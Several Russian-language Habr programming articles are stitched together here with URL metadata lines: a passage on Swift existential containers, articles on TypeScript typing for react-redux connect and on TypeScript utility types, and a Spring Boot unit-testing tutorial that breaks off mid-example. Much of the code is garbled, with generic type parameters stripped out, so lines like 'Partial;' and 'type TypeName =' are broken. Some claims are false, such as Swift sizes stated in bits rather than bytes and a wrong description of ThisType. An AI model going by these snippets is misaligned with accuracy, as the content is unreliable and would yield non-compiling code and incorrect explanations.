Напомним, что определение корректной реализации метода при работе с классами (ссылочными типами) достигается через Динамическую отправку и виртуальную таблицу. Виртуальная таблица есть у каждого классового типа, хранит в себе реализации его методов. Динамическая отправка определяет реализацию метода для типа, заглядывая в его виртуальную таблицу. Все это необходимо из-за возможности наследования и переопределения методов.
В случае структур наследование, также как и переопределение методов, невозможно. Тогда, на первый взгляд, в virtual-table нет надобности, но как тогда будет работать Динамическая отправка? Как программе понять, какой метод будет вызван на d.draw()?
> Стоит отметить, что количество реализаций этого метода равно количеству типов, которые соответствуют протоколу Drawable.
**Protocol Witness Table**
--------------------------
является ответом на этот вопрос. Каждый тип, который реализовал какой-либо протокол, имеет эту таблицу. Как и виртуальная таблица для классов, хранит в себе реализации методов, которые требует протокол.
> в дальнейшем Protocol Witness Table будет называться "протокольно-методная таблица"
Отлично, теперь мы знаем где искать реализации методов. Остается лишь два вопроса:
1. Как найти соответствующую протокольно-методную таблицу для того или иного объекта, который реализовал этот протокол? Как в нашем случае найти эту таблицу для элемента d массива drawables?
2. Элементы массива должны быть одного размера (в этом и есть суть массива). Тогда как массив drawable может соответствовать этому требованию, если он может хранить в себе и Line и Point, а они имеют разные размеры?
```
MemoryLayout.size(ofValue: Line(...)) // 32 bits
MemoryLayout.size(ofValue: Point(...)) // 16 bits
```
### Экзистенциальный контейнер
Для решения этих двух вопросов, в Swift используется специальная схема хранения для экземпляров протокольных типов, которая называется экзистенциальный контейнер. Выглядит она вот так:
Занимает 5 машинных слов (в x64 битной системе 5 \* 64 = 320 бит). Разделен на три части:
value buffer — пространство для самого экземпляра
vwt — указатель на Value Witness Table
pwt — указатель на Protocol Witness Table
Рассмотрим все три части подробнее:
**Буфер Содержимого**
Просто три машинных слова для хранения экземпляра. Если экземпляр может уместиться в буфере содержимого, то он в нем и хранится. Если экземпляр больше 3 машинных слов, то он не поместится в буфере и программа вынуждена выделить память на куче, сложить туда экземпляр, а в буфер содержимого положить указатель на эту память. Рассмотрим на примере:
```
let point: Drawable = Point(...)
```
Point() занимает 2 машинных слова и прекрасно поместится в value buffer — программа сложит его туда:
```
let line: Drawable = Line(...)
```
Line() занимает 4 машинных слова и не может поместиться в value buffer — программа выделит для нее память на хипе, а в value buffer сложит поинтер на эту память:
ptr указывает на экземпляр Line(), размещенный на куче:
**Таблица жизненного цикла**
Также как и протокольно-методная таблица, эта таблица есть у каждого типа, который соответствует протоколу. Содержит в себе реализацию четырех методов: allocate, copy, destruct, deallocate. Этими методами управляется весь жизненный цикл объекта. Рассмотрим на примере:
1. При создании объекта ( Point(...) as Drawable) вызывается метод allocate из Т.Ж.Ц. этого объекта. Метод allocate решит, где должно быть размещено содержимое объекта (в буфере значений или на куче), и если он должен быть размещен на куче, то выделит необходимое количество памяти
2. Метод copy поместит содержимое объекта в соответствующее место
3. После окончания работы с объектом вызовется метод destruct, который убавит все счетчики ссылок, если таковые имеются
4. После destruct будет вызван метод deallocate, который освободит выделенную на хипе память, если таковая имеется
**Протокольно-методная таблица**
Как было описано выше, содержит в себе реализации требуемых протоколом методов для типа, к которому эта таблица привязана.
**Экзистенциальный контейнер — Ответы**
Таким образом мы ответили на поставленные два вопроса:
1. Протокольно-методная таблица хранится в Экзистенциальном контейнере этого объекта и может быть без труда из него получена
2. Если тип элемента массива является протоколом, то любой элемент этого массива занимает фиксированное значение в 5 машинных слов — именно столько необходимо для Экзистенциального контейнера. Если содержимое элемента не может быть помещено в буфер значений, то он будет размещен на куче. Если может, то все содержимое будет размещено в буфере значений. В любом случае мы получим, что размер объекта с типом протокола равен 5 машинным словам (40 бит), а из этого следует, что все элементы массива будут иметь одинаковый размер.
```
let line: Drawable = Line(...)
MemoryLayout.size(ofValue: line) // 40 bits
let drawables: [Drawable] = [Line(...), Point(...), Line(...)]
MemoryLayout.size(ofValue: drawables._content) // 120 bits
```
**Экзистенциальный контейнер — Пример**
Рассмотрим поведение экзистенциального контейнера в этом коде:
```
func drawACopy(local: Drawable) {
local.draw()
}
let val: Drawable = Line(...)
drawACopy(val)
```
Экзистенциальный контейнер можно представить вот так:
```
struct ExistContDrawable {
var valueBuffer: (Int, Int, Int)
var vwt: ValueWitnessTable
var pwt: ProtocolWitnessTable
}
```
**Псевдокод**
За кулисами функция drawACopy принимает в себя ExistContDrawable:
```
func drawACopy(val: ExistContDrawable) {
...
}
```
Параметр функции создается вручную: создаем контейнер, заполняем его поля из полученного аргумента:
```
func drawACopy(val: ExistContDrawable) {
var local = ExistContDrawable()
let vwt = val.vwt
let pwt = val.pwt
local.type = type
local.pwt = pwt
...
}
```
Решаем, где будет хранится содержимое (в буфере или хипе). Вызываем vwt.allocate и vwt.copy, чтобы заполнить local содержимым val:
```
func drawACopy(val: ExistContDrawable) {
...
vwt.allocateBufferAndCopy(&local, val)
}
```
Вызываем метод draw и передаем ему указатель на self ( projectBuffer метод решит, где расположен self — в буфере или на куче — и вернет верный указатель):
```
func drawACopy(val: ExistContDrawable) {
...
pwt.draw(vwt.projectBuffer(&local))
}
```
Завершаем работу с local. Чистим все ссылки на хип от local. Функция возвращает значение — чистим всю память, выделенную для работы drawACopy (стэковый кадр):
```
func drawACopy(val: ExistContDrawable) {
...
vwt.destructAndDeallocateBuffer(&local)
}
```
**Экзистенциальный контейнер — Цель**
Пользование экзистенциальным контейнером требует много работы — пример выше подтвердил это — но зачем это вообще нужно, какова цель? Цель в том, чтобы реализовать полиморфизм при помощи протоколов и типов, которые их реализуют. В ООП мы используем абстрактные классы и наследуемся от них, переопределяя методы. В ПОП мы используем протоколы и реализуем их требования. Опять таки, даже с протоколами, реализация полиморфизма — это большая и энергозатратная работа. Поэтому для избежания "лишней" работы нужно понимать когда полиморфизм нужен, а когда — нет.
Полиморфизм в реализации ПОП выигрывает в том, что, используя структуры, мы не нуждаемся в постоянном подсчете ссылок, отсутствует классовое наследование. Да, все очень схоже, классы, для определения реализации метода используют виртуальную таблицу, протоколы используют протокольно-методную. Классы размещены на куче, структуры тоже иногда могут быть размещены там. Но проблема в том, что на размещенный на куче класс может быть направлено сколько угодно указателей, и подсчет ссылок необходим, а на размещенные на куче структуры только один указатель и хранится он в экзистенциальном контейнере.
В самом деле важно отметить, что структура, которая хранится в экзистенциальном контейнере, сохранит семантику типов значений вне зависимости от того, куда она будет помещена — на стэк или кучу. За сохранение семантики отвечает Таблица Жизненного Цикла так как в ней описаны определяющие семантику методы.
**Экзистенциальный контейнер — Хранимые свойства**
Мы рассмотрели как переменная протокольного типа передается и используется функцией. Рассмотрим как такие переменные хранятся:
```
struct Pair {
init(_ f: Drawable, _ s: Drawable) {
first = f
second = s
}
var first: Drawable
var second: Drawable
}
var pair = Pair(Line(), Point())
```
Каким образом хранятся эти две структуры типа Drawable внутри структуры Pair? Что представляет из себя содержимое pair? Оно представляет из себя два экзистенциальных контейнера — один для first, другой для second. Line не может поместится в буфере и размещена на куче. Point поместился в буфере. Также это позволяет структуре Pair хранить объекты разного размера:
```
pair.second = Line()
```
Теперь и содержимое second размещено на куче, так как не поместилось в буфер. Рассмотрим к чему это может привести:
```
let aLine = Line(...)
let pair = Pair(aLine, aLine)
let copy = pair
```
После выполнения этого кода программа получит следующее состояние памяти:
Мы имеем 4 выделения памяти на куче, что не есть хорошо. Попробуем исправить:
1. Создадим класс-аналог Line
```
class LineStorage: Drawable {
var x1, y1, x2, y2: Double
func draw() {}
}
```
1. Используем его в Pair
```
let lineStorage = LineStorage(...)
let pair = Pair(lineStorage, lineStorage)
let copy = pair
```
Получаем одно размещение на куче и 4 указателя на него:
Но мы имеем дело с ссылочным поведением. Изменение copy.first отразится на pair.first (то же самое для .second), а это не всегда то, что мы хотим.
**Косвенное хранение и копирование при изменении (copy-on-write)**
До этого было упомянуто, что String это copy-on-write структура (хранит свое содержимое на куче и копирует его при изменении). Рассмотрим как можно реализовать свою структуру, которая копируется при изменении:
```
struct BetterLine: Drawable {
private var storage: LineStorage
init() {
storage = LineStorage((0, 0), (10, 10))
}
func draw() -> Double { ... }
mutating func move() {
if !isKnownUniquelyReferenced(&storage) {
storage = LineStorage(self.storage)
}
// storage editing
}
}
```
1. Все свойства BetterLine хранит в storage, а storage является классом и хранится на куче
2. Изменять storage можно только методом move. В нем мы проверяем, что на storage указывает только один указатель. Если указателей больше, то этот BetterLine делит с кем-то storage, а для того, чтобы BetterLine полностью вел себя как структура, storage должен быть индивидуальным — делаем копию и в дальнейшем работаем с ней.
Посмотрим как это работает в памяти:
```
let aLine = BetterLine()
let pair = Pair(aLine, aLine)
let copy = pair
copy.second.x1 = 3.0
```
В результате выполнения этого кода, получим:
Иными словами мы имеем два экземпляра Pair которые делят между собой один storage: LineStorage. При изменении storage в одном из его пользователей (first/second) будет создана отдельная копия storage для этого пользователя, чтобы его изменение не сказались на других. Это решает проблему нарушение семантики типов значений из прошлого примера.
Протокольные Типы — Итог
------------------------
1. *Маленькие значения*. Если мы работаем с объектами, которые занимают мало памяти и могут быть помещены в буфер экзистенциального контейнера, то:
* не будет размещения на куче
* нет подсчета ссылок
* полиморфизм (динамическая отправка) при помощи протокольной таблицы
1. *Большие значения.* Если мы работаем с объектами, которые не помещаются в буфер, то:
* размещение на куче
* подсчет ссылок, если объекты содержат ссылки.
> Механизмы использования перезаписи на изменение и косвенного хранения были продемонстрированы и могут значительно улучшить ситуацию с подсчетом ссылок в случае их большого количества.
Мы выяснили, что протокольные типы, так же как и классы, способны реализовать полиморфизм. Происходит это при помощи хранения в экзистенциальном контейнере и использования протокольных таблиц — таблицы жизненного цикла и протокольно-методной таблицы. | https://habr.com/ru/post/474558/ | null | ru | null |
# Практический TypeScript. React + Redux
В настоящее время разработка любого современного фронтэнд-приложения сложнее уровня `hello world`, над которым работает команда (состав которой периодически меняется), выдвигает высокие требования к качеству кодовой базы. Чтобы поддерживать уровень качества кода на должном уровне, мы во фронтэнд-команде [#gostgroup](https://moikrug.ru/companies/gost) идём в ногу со временем и не боимся применять современные технологии, которые показывают свою практическую пользу в проектах [компаний самого разного масштаба](https://www.typescriptlang.org/community/friends.html).
О статической типизации и её пользе на примере TypeScript было много сказано в различных статьях и поэтому сегодня мы сосредоточимся на более прикладных задачах, с которыми сталкиваются фронтэнд-разработчики на примере любимого нашей командой стека (React + Redux).
### "Не понимаю, как вы вообще живёте без строгой типизации. Чем занимаетесь. Дебажите целыми днями?" — не известный мне автор.
### "нет, пишем целыми днями типы" — мой коллега.
При написания кода на TypeScript (здесь и далее в тексте будет подразумеваться стек сабжа) многие жалуются на то, что приходится тратить много времени на написание типов вручную. Хороший пример, иллюстрирующий проблему, функция-коннектор `connect` из библиотеки `react-redux`. Давайте взглянем на код ниже:
```
type Props = {
a: number,
b: string;
action1: (a: number) => void;
action2: (b: string) => void;
}
class Component extends React.PureComponent { }
connect(
(state: RootStore) => ({
a: state.a,
b: state.b,
}), {
action1,
action2,
},
)(Component);
```
В чём здесь проблема? Проблема в том, что для каждого нового свойства, инжектируемого через коннектор, мы должны описать тип этого свойства в общем типе свойств компонента (React). Не очень интересное занятие, скажите вы, всё-таки хочется иметь возможность собирать тип свойств из коннектора в один тип, который потом один раз "подключать" к общему типу свойств компонента. У меня хорошая новость для вас. Уже сегодня TypeScript позволяет это сделать! Готовы? Поехали!
### Мощь TypeScript
TypeScript не стоит на месте и постоянно развивается (за что я его люблю). Начиная с версии 2.8 в нём появилась очень интересная функция (conditional types), которая позволяет производить маппинги типов на основе условных выражений. Не буду вдаваться в подробности здесь, а просто оставлю [ссылку на документацию](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-8.html) и вставлю кусок кода из неё в качестве иллюстрации:
```
type TypeName =
T extends string ? "string" :
T extends number ? "number" :
T extends boolean ? "boolean" :
T extends undefined ? "undefined" :
T extends Function ? "function" :
"object";
type T0 = TypeName; // "string"
type T1 = TypeName<"a">; // "string"
type T2 = TypeName; // "boolean"
type T3 = TypeName<() => void>; // "function"
type T4 = TypeName; // "object"
```
Как эта функция помогает в нашем случае. Посмотрев в [описание типов](https://github.com/DefinitelyTyped/DefinitelyTyped/blob/master/types/react-redux/index.d.ts) библиотеки `react-redux`, можно найти тип `InferableComponentEnhancerWithProps`, который отвечает за то, чтобы типы инжектированных свойств не попали во внешний тип свойств компонента, которые мы должны явно задавать при инстанцировании компонента. У типа `InferableComponentEnhancerWithProps` есть два обобщенных параметра: `TInjectedProps` и `TNeedsProps`. Нас интересует первый. Давайте попробуем "вытащить" этот тип из настоящего коннектора!
```
type TypeOfConnect = T extends InferableComponentEnhancerWithProps
? Props
: never
;
```
И непосредственно вытаскивание типа на реальном примере из [репозитория](https://github.com/Voronar/ts-react-redux/blob/master/src/App.tsx)(который можно склонировать и запустить там тестовую программу):
```
import React from 'react';
import { connect } from 'react-redux';
import { RootStore, init, TypeOfConnect, thunkAction, unboxThunk } from 'src/redux';
const storeEnhancer = connect(
(state: RootStore) => ({
...state,
}), {
init,
thunkAction: unboxThunk(thunkAction),
}
);
type AppProps = {}
& TypeOfConnect
;
class App extends React.PureComponent {
componentDidMount() {
this.props.init();
this.props.thunkAction(3000);
}
render() {
return (
<>
{this.props.a}
{this.props.b}
{String(this.props.c)}
);
}
}
export default storeEnhancer(App);
```
В примере выше мы делим подключение к хранилищу (Redux) на два этапа. На первом этапе мы получаем компонент высшего порядка `storeEnhancer` (он же тип `InferableComponentEnhancerWithProps`) для извлечения из него инжектируемых типов свойств с помощью нашего типа-помощника `TypeOfConnect`и дальнейшего объединения (через интерсекцию типов `&`) полученных типов свойств с собственными типами свойств компонента. На втором этапе мы просто декорируем наш исходный компонент. Теперь, что бы вы не добавили в коннектор, это автоматически будет попадать в типы свойств компонента. Здорово, то, чего мы и хотели добиться!
Внимательный читатель заметил, что генераторы экшенов (для краткости далее по тексту упростим до термина экшена) с сайд-эффектами (thunk action creators) проходят дополнительную обработку с помощью функции `unboxThunk`. Чем же вызвана такая дополнительная мера? Давайте разбираться. Сначала посмотрим на сигнатуру такого экшена на примере программы из репозитория:
```
const thunkAction = (delay: number): ThunkAction => (dispatch) => {
console.log('waiting for', delay);
setTimeout(() => {
console.log('reset');
dispatch(reset());
}, delay);
};
```
Как видно из сигнатуры, наш экшен не сразу возвращает целевую функцию, а сначала промежуточную, которую подхватывает `redux-middleware` для возможности произведения сайд-эффектов в нашей основной функции. Но при использовании этой функции в подключенном виде в свойствах компонента, сигнатура этой функции сокращается, исключая промежуточную функцию. Как это описать в типах? Нужна специальная функция-преобразователь. И снова TypeScript показывает свою мощь. Сначала опишем тип, который убирает промежуточную функцию из сигнатуры:
```
CutMiddleFunction = T extends (...arg: infer Args) => (...args: any[]) => infer R
? (...arg: Args) => R
: never
;
```
Тут, помимо условных типов, используется совсем свежее нововведение из TypeScript 3.0, которое позволяет выводить тип произвольного (rest parameters) количества аргументов функции. Подробности смотрите в [документации](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-0.html). Теперь остается вырезать из нашего экшена лишнюю часть довольно жёстким образом:
```
const unboxThunk = >(
thunkFn: (...args: Args) => ThunkAction,
) => (
thunkFn as any as CutMiddleFunction
);
```
Пропустив экшен через такой преобразователь, мы на выходе имеем нужную нам сигнатуру. Теперь экшен готов для его использования в коннекторе.
Вот так, путём нехитрых манипуляций, мы сокращаем наш ручной труд при написании типизированного кода на нашем стеке. Если пойти немного дальше, то можно также упростить типизирование экшенов и редьюсеров, как мы это сделали в [redux-modus](https://www.npmjs.com/package/@gostgroup/redux-modus).
**P.S.** При использовании динамической привязки экшенов в коннекторе через функцию и `redux.bindActionCreators` нужно будем самому позаботится о более правильной типизации этой утилиты (возможно через написание своей обёртки).
**Update 0**
Если кому-то показалось это решение удобным, то вот тут можно [поставить лайк](https://github.com/DefinitelyTyped/DefinitelyTyped/issues/31227#issuecomment-446681805), чтобы тип-утилиту добавили в пакет `@types/react-redux`.
**Update 1**
Ещё немного типов, с помощью которых не нужно явно указывать тип инжектируемых пропсов хока. Просто берём хоки и вытаскиваем из них типы:
```
export type BasicHoc = (Component: React.ComponentType) => React.ComponentType;
export type ConfiguredHoc = (...args: any[]) => (Component: React.ComponentType) => React.ComponentType;
export type BasicHocProps = T extends BasicHoc ? Props : never;
export type ConfiguredHocProps = T extends ConfiguredHoc ? Props : never;
export type HocProps = T extends BasicHoc
? BasicHocProps : T extends ConfiguredHoc
? ConfiguredHocProps : never
;
const basicHoc = (Component: React.ComponentType<{a: number}>) => class extends React.Component {};
const configuredHoc = (opts: any) => (Component: React.ComponentType<{a: number}>) => class extends React.Component {};
type props1 = HocProps; // {a: number}
type props2 = HocProps; // {a: number}
```
**Update2**
Тип из сабжа теперь есть в `@types/react-redux` ([ConnectedProps](https://react-redux.js.org/using-react-redux/static-typing#recommendations)). | https://habr.com/ru/post/431452/ | null | ru | null |
# Искусство типизации: TypeScript Utility Types
Введение
--------
Что вы чувствуете от познания нового? За себя скажу, что в такие моменты просветления меня переполняет неподдельная детская радость от свершившегося открытия. Жаль, что этих моментов становится всё меньше. К чему я это? Когда мне в голову мне пришла мысль о написании статьи на эту тему, я сразу вспомнил то ощущение прозрения, которое испытал в момент открытия Utility Types. Всё сразу встало на свои места, и я понял какого кусочка пазла мне всё это время не хватало. Именно о нём я расскажу далее.
TypeScript Utility Types - это набор встроенных типов, которые можно использовать для манипулирования типами данных в коде. Рассмотрим их подробнее.
Awaited
-------
`Awaited` - это специальный тип, который может быть использован для обозначения типа, который будет возвращен из асинхронной функции.
```
async function getData(): Promise {
return 'hello';
}
let awaitedData: Awaited>;
// теперь awaitedData может быть 'hello'
```
Partial
-------
`Partial` - делает все свойства объекта типа T необязательными.
```
interface Person {
name: string;
age: number;
}
let partialPerson: Partial;
// теперь partialPerson может быть { name?: string; age?: number; }
```
Required
--------
`Required` - делает все свойства объекта типа T обязательными.
```
interface Person {
name?: string;
age?: number;
}
let requiredPerson: Required;
// теперь requiredPerson может быть { name: string; age: number; }
```
Readonly
--------
`Readonly` - делает все свойства объекта типа T доступными только для чтения.
```
interface Point {
x: number;
y: number;
}
let readonlyPoint: Readonly;
// теперь readonlyPoint может быть { readonly x: number; readonly y: number; }
```
Record
------
`Record` - создает тип, который является записью с ключами, определенными в первом параметре, и значениями типа, определенного во втором параметре.
```
type Keys = 'a' | 'b' | 'c';
type RecordType = Record;
let record: RecordType;
// теперь record может быть { a: number, b: number, c: number }
```
Pick
----
`Pick` - выбирает свойства объекта типа T с ключами, указанными в K.
```
interface Person {
name: string;
age: number;
}
let pickedPerson: Pick;
// теперь pickedPerson может быть { name: string; }
```
Omit
----
`Omit` - выбирает свойства объекта типа T, исключая те, которые указаны в K
```
interface Person {
name: string;
age: number;
}
let omittedPerson: Omit;
// теперь omittedPerson может быть { name: string; }
```
Exclude
-------
`Exclude` - исключает определенные типы из объединенного типа.
```
type A = 'a' | 'b' | 'c';
type B = Exclude;
// теперь B это 'c'
```
Extract
-------
`Extract` - извлекает из типа Type только те типы, которые присутствуют в Union.
```
type A = 'a' | 'b' | 'c';
type B = 'a' | 'b';
type C = Extract;
// теперь C это 'a' | 'b'
```
NonNullable
-----------
`NonNullable` - извлекает тип из Type, исключая null и undefined.
```
let value: string | null | undefined;
let nonNullableValue: NonNullable;
// теперь nonNullableValue это string
```
Parameters
----------
`Parameters` - извлекает типы аргументов функции Type.
```
function foo(a: string, b: number) {}
type FooParameters = Parameters;
// теперь FooParameters это [string, number]
```
ConstructorParameters
---------------------
`ConstructorParameters` - извлекает типы аргументов конструктора Type.
```
class Foo {
constructor(a: string, b: number) {}
}
type FooConstructorParameters = ConstructorParameters;
// теперь FooConstructorParameters это [string, number]
```
ReturnType
----------
`ReturnType` - извлекает тип возвращаемого значения функции Type.
```
function foo(): string { return 'hello'; }
type FooReturnType = ReturnType;
// теперь FooReturnType это string
```
InstanceType
------------
`InstanceType` - извлекает тип экземпляра класса Type.
```
class Foo { x: number }
type FooInstance = InstanceType;
// теперь FooInstance это { x: number }
```
ThisParameterType
-----------------
`ThisParameterType` - извлекает тип `this` из функции Type.
```
class Foo {
x: number;
method(this: this): void { }
}
type ThisType = ThisParameterType;
// теперь ThisType это Foo
```
OmitThisParameter
-----------------
`OmitThisParameter` - определяет функцию без типа `this`.
```
class Foo {
x: number;
method(this: this): void { }
}
type MethodType = OmitThisParameter;
// теперь MethodType это () => void
```
ThisType
--------
`ThisType` - добавляет тип `this` к функции Type.
```
class Foo {
x: number;
method(): void { }
}
type MethodType = ThisType;
// теперь MethodType это (this: Foo) => void
```
Управление регистром
--------------------
`Uppercase`, `Lowercase`, `Capitalize`, `Uncapitalize` - это утилитные типы для манипуляции строками, которые изменяют регистр строки в соответствии с их именем.
```
type Uppercased = Uppercase<'hello'>; // 'HELLO'
type Lowercased = Lowercase<'Hello'>; // 'hello'
type Capitalized = Capitalize<'hello'>; // 'Hello'
type Uncapitalized = Uncapitalize<'Hello'>; // 'hello'
```
Заключение
----------
Кто-то скажет: "Большинство из этого не пригодится в реальной работе" - и будет больше прав, чем не прав. Для того чтобы шлёпать формы или писать CRUD'ы не нужно иметь углублённые знания в построении типов, в то время как решение нетривиальной задачи будет найдено быстрее при наличии компетенций в разных направлениях и практиках.
В основе всей моей деятельности лежит именно этот подход. Пришлось спуститься очень глубоко в мир программирования, чтобы найти ответы. Оттуда я и вещаю на своём телеграмм канале.
Ваш [Хреновый программист](https://t.me/+fMbzj2rrEtA4NGYy) | https://habr.com/ru/post/711686/ | null | ru | null |
# Принцип слоеного теста
> Всем неустрашимым на пути от отрицания до убеждения посвящается…
Среди разработчиков бытует справедливое мнение, что если программист не покрывает код тестами, то попросту не понимает зачем они нужны и как их готовить. С этим трудно не согласиться, когда уже понимаешь о чем речь. Но как достичь этого драгоценного понимания?
Не судьба...
------------
Так получается, что зачастую самые очевидные вещи не имеют внятного описания среди тонн полезной информации в глобальной сети. Этакий очередной соискатель решает разобраться с актуальным вопросом “что такое unit тесты” и натыкается на уйму подобных примеров, которые словно калька копируются из статьи в статью:
> “у нас есть метод, который подсчитывает сумму чисел”
>
>
>
> public Integer sum(Integer a, Integer b) {
>
> return a+b
>
> }
>
>
>
> “на данный метод можно написать тест”
>
>
>
> [Test](https://habr.com/ru/users/test/)
>
> public void testGoodOne() {
>
> assertThat(sum(2,2), is(4));
>
> }
Это не шутка, это упрощенный пример из типичной статьи про технологию unit тестирования, где в начале и конце — общие фразы про пользу и необходимость, а в середине такое…
Увидев такое, и перечитав для верности дважды, соискатель восклицает: “Что за лютый бред?..” Ведь, у него в коде практически нет методов, которые все необходимое получают через аргументы, а затем отдают однозначный результат по ним. Это типичные утилитарные методы, и они практически не меняются. А как быть со сложными процедурами, с внедренными зависимостями, с методами без возврата значений? Там это подход не применим от слова “совсем”.
Если на этом этапе упорный соискатель не машет рукой и погружается дальше, то вскоре обнаруживает, что для зависимостей используются МОКи, для методов которых определяется некоторое условное поведение, фактически заглушка. Тут у соискателя может снести крышу окончательно, если рядом не найдется доброго и терпеливого мидла/сеньора готового и умеющего все разъяснить… Иначе, соискатель истины совершенно теряет смысл того, “что такое unit тесты”, поскольку большая часть тестируемого метода оказывается некоей мок-фикцией, и что в таком случае тестируется — непонятно. Тем более непонятно, как это организовать для большого, многослойного приложения и зачем такое нужно. Таким образом вопрос в лучшем случае откладывается до лучших времен, в худшем — прячется в ящик прОклятых вещей.
Самое обидное, что технология покрытия тестами элементарно проста и доступна каждому, а польза ее настолько очевидна, что любые отговорки выглядят наивно для знающих людей. Но чтобы разобраться новичку не хватает какой-то самой малости, элементарной сути, словно щелчка переключателя.
Ключевая миссия
---------------
Для начала, предлагаю сформулировать в двух словах ключевую функцию(миссию) unit тестов и ключевой выигрыш. Тут возможны разные живописные варианты, но предлагаю рассмотреть этот:
**Ключевая функция unit тестов — зафиксировать ожидаемое поведение системы.**
и этот:
**Ключевой выигрыш unit тестов — возможность “прогнать” весь функционал приложения за считанные секунды.**
Рекомендую запомнить это для собеседований и немножко поясню. Любой функционал подразумевает правила использования и результаты. Эти требования приходят от бизнеса, через системную аналитику и реализуются в коде. Но код постоянно развивается, приходят новые требования и доработки, которые могут незаметно и неожиданно изменить что-то в готовом функционале. Именно тут на страже стоят unit тесты, которые фиксируют утвержденные правила, по которым должна работать система! В тестах фиксируется сценарий, который важен для бизнеса, и если после очередной доработки тест падает, значит, что-то упущено: либо ошибся разработчик или аналитик, либо новые требования противоречат существующим и следует их уточнять и т.д. Самое главное — “сюрприз” не проскочил.
Простой, стандартный unit тест позволил на самых ранних этапах обнаружить неожиданное, и вероятно нежелательное поведение системы. Между тем, система растет и ширится, вероятность упущения ее деталей тоже растет, и лишь сценарии unit тестов способны все помнить и вовремя предотвращать незаметные уходы в сторону. Это очень удобно и надежно, а главное удобство — быстрота. Приложение не нужно даже запускать и бродить по сотням его полей, форм или кнопок, требуется запустить выполнение тестов и за считанные секунды получить либо полную готовность либо баг.
Итак запомним: зафиксировать ожидаемое поведение в виде сценариев unit тестов, и моментально “прогнать” приложение без его запуска. Эта та безусловная ценность, которую позволяют достичь unit тесты.
Но, черт возьми, как?
---------------------
Перейдем к самому интересному. Современные приложения активно избавляются от монолитности. Микросервисы, модули, “слои” — основные принципы организации рабочего кода, позволяющие достигать независимости, удобства повторного использования, обмена и переноса в системы и т.д. В нашей теме имеет ключевое значение именно слоистая структура и внедрение зависимостей.
Рассмотрим слои типичного веб- приложения: контроллеры, сервисы, репозитории и т.п. Кроме того используются слои утилит, фасадов, моделей и DTO. Два последних не должны содержать функционала, т.е. методов кроме аксессоров(геттеры/сеттеры), поэтому покрывать их тестами не нужно. Остальные слои мы рассмотрим как цели для покрытия.
Как не напрашивается это вкусное сравнение, приложение нельзя сравнить со слоеным тортом по той причине, что слои эти внедряются друг в друга, как зависимости:
* контроллер внедряет в себя сервис/ы, к которым обращается за результатом
* сервис внедряет в себя репозитории (DAO), может внедрять утилитарные компоненты
* фасад предназначен для комбинирования работы множества сервисов или компоненты, соответственно — внедряет в себя их
Основная идея покрытия тестами всего этого добра в целом приложении: покрытие каждого слоя независимо от остальных слоев. Отсылка к независимости и прочим фишкам “антимонолитности”. Т.е. если в тестируемый сервис внедрен репозиторий — этот “гость” мокается в рамках тестирования сервиса, но персонально тестируется по честному уже в рамках теста репозитория. Таким образом, создаются тесты для каждого элемента каждого слоя, никто не забыт — все при делах.
Принцип слоеного теста
----------------------
Перейдем к примерам, простое приложение на Java Spring Boot, код будет элементарный, так что суть легко понятна и аналогично применима для других современных языков/фреймворков. Задача у приложения будет простая — умножить число на 3, т.е. утроить (англ. triple), но при этом мы создадим многослойное приложение с внедрением зависимостей (dependency injection) и послойным покрытием с головы до пят.
В структуре созданы пакеты для трех слоев: controller, service, repo. Структура тестов аналогична.
Работать приложение будет так:
1. с фронт-энда на контроллер приходит GET запрос с идентификатором числа, которое требуется утроить.
2. контроллер запрашивает результат у своей зависимости — сервиса
3. сервис запрашивает данные у своей зависимости — репозитория, умножает и возвращает результат контроллеру
4. контроллер дополняет результат и возвращает на фронт-энд
Начнем с контроллера:
```
@RestController
@RequiredArgsConstructor
public class SomeController {
private final SomeService someService; // dependency injection
static final String RESP_PREFIX = "Результат: ";
static final String PATH_GET_TRIPLE = "/triple/{numberId}";
@GetMapping(path = PATH_GET_TRIPLE) // mapping method to GET with url=path
public ResponseEntity triple(@PathVariable(name = "numberId") int numberId) {
int res = someService.tripleMethod(numberId); // dependency call
String resp = RESP\_PREFIX + res; // own logic
return ResponseEntity.ok().body(resp);
}
}
```
Типичный рест контроллер, имеет внедрение зависимости someService. Метод triple настроен на GET запрос по URL "/triple/{numberId}", где в переменной пути передается идентификатор числа. Сам метод можно разделить на две основные составляющие:
* обращение к зависимости — запрос данных извне, либо вызов процедуры без результата
* собственная логика — работа с имеющимися данными
Рассмотрим сервис:
```
@Service
@RequiredArgsConstructor
public class SomeService {
private final SomeRepository someRepository; // dependency injection
public int tripleMethod(int numberId) {
Integer fromDB = someRepository.findOne(numberId); // dependency call
int res = fromDB * 3; // own logic
return res;
}
}
```
Тут подобная ситуация: внедрение зависимости someRepository, а метод состоит из обращения к зависимости и собственной логики.
Наконец — репозиторий, для простоты выполнен без базы данных:
```
@Repository
public class SomeRepository {
public Integer findOne(Integer id){
return id;
}
}
```
Условный метод findOne якобы ищет в базе данных значение по идентификатору, но попросту возвращает тот же integer. На суть нашего примера это не влияет.
Если запустить наше приложение, то по настроенному url можно увидеть:
Работает! Многослойно! В прод…
Ах да, тесты…
Немного о сути. Написание тестов — тоже процесс творческий! Поэтому совершенно не уместна отговорка “я разработчик, а не тестер”. Хороший тест, как и хороший функционал требует изобретательности и красоты. Но прежде всего, необходимо определить элементарную структуру теста.
Тестирующий класс содержит методы, тестирующие методы целевого класса. Минимум того, что должен содержать в себе каждый тестирующий метод — это вызов соответствующего метода целевого класса, условно говоря так:
```
@Test
void someMethod_test() {
// prepare...
int res = someService.someMethod();
// check...
}
```
Этот вызов могут окружать Подготовка и Проверка. Подготовка данных, в том числе входящих аргументов и описание поведения моков. Проверка результатов — обычно сравнение с ожидаемым значением, помните про фиксацию ожидаемого поведения? Итого, тест — это сценарий, который моделирует ситуацию и фиксирует, что она прошла ожидаемо и вернула ожидаемые результаты.
На примере контроллера попробуем подробно изобразить базовый алгоритм написания теста. Прежде всего, целевой метод контроллера принимает параметр int numberId, добавим его в наш сценарий:
```
int numberId = 42; // input path variable
```
Этот же numberId транзитом передается на вход методу сервиса, и тут самое время обеспечить сервис-мок:
```
@MockBean
private SomeService someService;
```
Собственный код метода контроллера работает с результатом полученным от сервиса, имитируем этот результат, а также вызов который его возвращает:
```
int serviceRes = numberId*3; // result from mock someService
// prepare someService.tripleMethod behavior
when(someService.tripleMethod(eq(numberId))).thenReturn(serviceRes);
```
